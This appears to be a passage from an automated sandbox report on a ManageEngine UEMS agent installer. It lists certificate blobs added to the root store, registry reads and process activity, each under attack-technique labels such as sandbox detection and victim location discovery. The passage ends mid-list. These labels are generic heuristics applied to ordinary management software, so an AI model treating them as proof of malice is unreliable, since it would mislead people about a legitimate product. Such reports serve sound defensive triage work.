19000000010000001000000014966a90fc3f64e04a60b41ab74d0a60030000000100000014000000424ec0decfd35d06cac424b7b4926b2040ae30130f00000001000000200000007dd6a126b8e0e4185eec3f74b7582da08d1dff42433f268954619cf8618a422c200000000100000029040000308204253082030da00302010202085258b385439c03cb300d06092a864886f70d01010b05003081a1310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e654341311d301b06035504030c144d616e616765456e67696e6543412d44532d4341311b3019060355040b0c124d616e616765456e67696e652d44532d43413020170d3236303730363231343735345a180f32313236303730363231343735345a3081a1310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e654341311d301b06035504030c144d616e616765456e67696e6543412d44532d4341311b3019060355040b0c124d616e616765456e67696e652d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010090dfba856bc15382fe45190726a0624c96f99c244b6364df4563eefaca9fb92d2df9eab996ab7e7b786e699558f56d78c2a1caf106f59d4215b51703abe53280a2c8d0c3f6dab163fe4abf15a7bb55ef58aa30502c91219853239869c9706d4545e2b6c12436b1d19d31ace1b674ccf5b00b27f687122ae004933e44d0f190c4673195962d4fecf7fbf90d6e91fb7b11ae1f28560aeca62af1e5c25ece04b5d6fde9fc86ca20fa57aa4b5e1e08be0701147d841c8f56cd6bb4c41091969a18991777be0381d381065849e5b4d53481276e8430b4d512dbd7cf88be128417de966a7b325c10a839f1a0261c0cb5411b605dc4f8b4e089a3e945be25668e7f00550203010001a35d305b300c0603551d13040530030101ff301d0603551d0e041604144ef9be3368392368fcb673f7ce565a97b5bc3098301f0603551d230418301680144ef9be3368392368fcb673f7ce565a97b5bc3098300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010035a259f6f196cd83267f9d57f02dd838b944a9b751dae680bcddeccaec4b4cddfb443c15220795b88a251d66b55cd2e83f1691f0977d77fc4947957ca40009ad2e1a8127c41fc72edbbc0b749c027c79ebb36e984df2d1879b1ef8b7b4b43b33aaf02b1d709e35d0dd76b689b4fb0771a4b78a1b4404e59c0d78f7ae2eaaeb7854eca97f19d5a31724e4323226d6c66117c77945f70742bd1ad496a1e46e457965768df4808e1075ad48b19a01bae7cb495d501821cdbca8a8d1c2770ea762ba554a841994c6b15d3a5a0d17c08a8fea4d3acdd33aac97e2e8fb89e22472fa94fea9f190d6f329d8cfd9d28f2a2a736b638b9e5d4a1e51496d31c3c0aa0c935f dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C9B454C835C061805660C4B50C29CB771199B510\Blob = 030000000100000014000000c9b454c835c061805660c4b50c29cb771199b5102000000001000000af030000308203ab30820293a003020102020815f24d2524b9af10300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303730363231343534315a180f32313236303730363231343534315a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a674501b436fa66be4f8eb49fda650f9706c400dbf1a9453fd28573c0f4431cf95993923fe827049efc64a6aa8aefaa3c3ed44f710b50334cd297c92176af9c276bc1dddab62d147ca865b08b4ef72fd03b9c99aaac19c61a6fb8d611ca4aadf2733331f4d28c022a4df3d20c988b5e851ccda23949ea8afdc064ae69938b5c5753eef50f69bf2d9267316e094929934f7efdb51fc49704f0006153a06f10982390cb2045b23037b69cad46c6105e88bbe41617dcd575499494ef76dea0771b89006c5b667aba9db0dba6215c7fb3600fe7ed0414191a8e5ed3ae9781217bb84355599aa66065207ffb32a92834944aebe21b7bbd540d0ce84e64438f7a5fcdd0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414e4f99aae32846a87741b8f7bca827f2cbc6a4770301f0603551d23041830168014e4f99aae32846a87741b8f7bca827f2cbc6a4770300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010068365d6937f207b044aec454f22bc5d638747d3afd7cadce2bb371efa97554a96b7e4ba8810aa253232063aa88884ec0ee64b07a8e8fe0131248fcaf102c897c34ce0281b8977092484acf69056830824dfe67e4dcf68a9ff83daf26711f3ac60972ca1ccd19f2f8751f8ec573a033b445ec870ed28e1748c00564bdf2836deab2bcb392a288d7c9bc9189c7056a19790964175da5ec8c4fd228df8c2aac472db465c8e318554f75a1309b0eb376436cbadf629d38950229376c0d54d56b3fd4d1fa64e76cca44ff7d9840fda756b4df2778bbb8a35747424b6edc5ee7c0e7aa3f7270d2f413fc940434ca8c287f74c0d4a34e77e4c0a5aa1a8e6c1a8ef61441 dcagentregister.exe - Program crash 1 IoCs
pid pid_target Process procid_target 5736 5596 WerFault.exe 172 - Reads the TCP/IP host and domain name from the registry 1 TTPs 36 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname DCProcessMonitor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagenttrayicon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain meaap.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagenttrayicon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcswmeter.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagenttrayicon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain DCProcessMonitor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagenttrayicon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname meaap.exe - System Location Discovery: System Language Discovery 1 TTPs 46 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language systeminfo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DCProcessMonitor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language meaap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagenttrayicon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language metroapps.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcswmeter.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe - Checks SCSI registry key(s) 3 TTPs 10 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe - Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS dcconfig.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer dcconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 872 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe%5Cresources.pri metroapps.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcconfig.exe - Modifies registry class 23 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "167772210" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "44C40189C3AA44442AA780ED114A0026" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C9B454C835C061805660C4B50C29CB771199B510 dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\424EC0DECFD35D06CAC424B7B4926B2040AE3013 dcagentregister.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 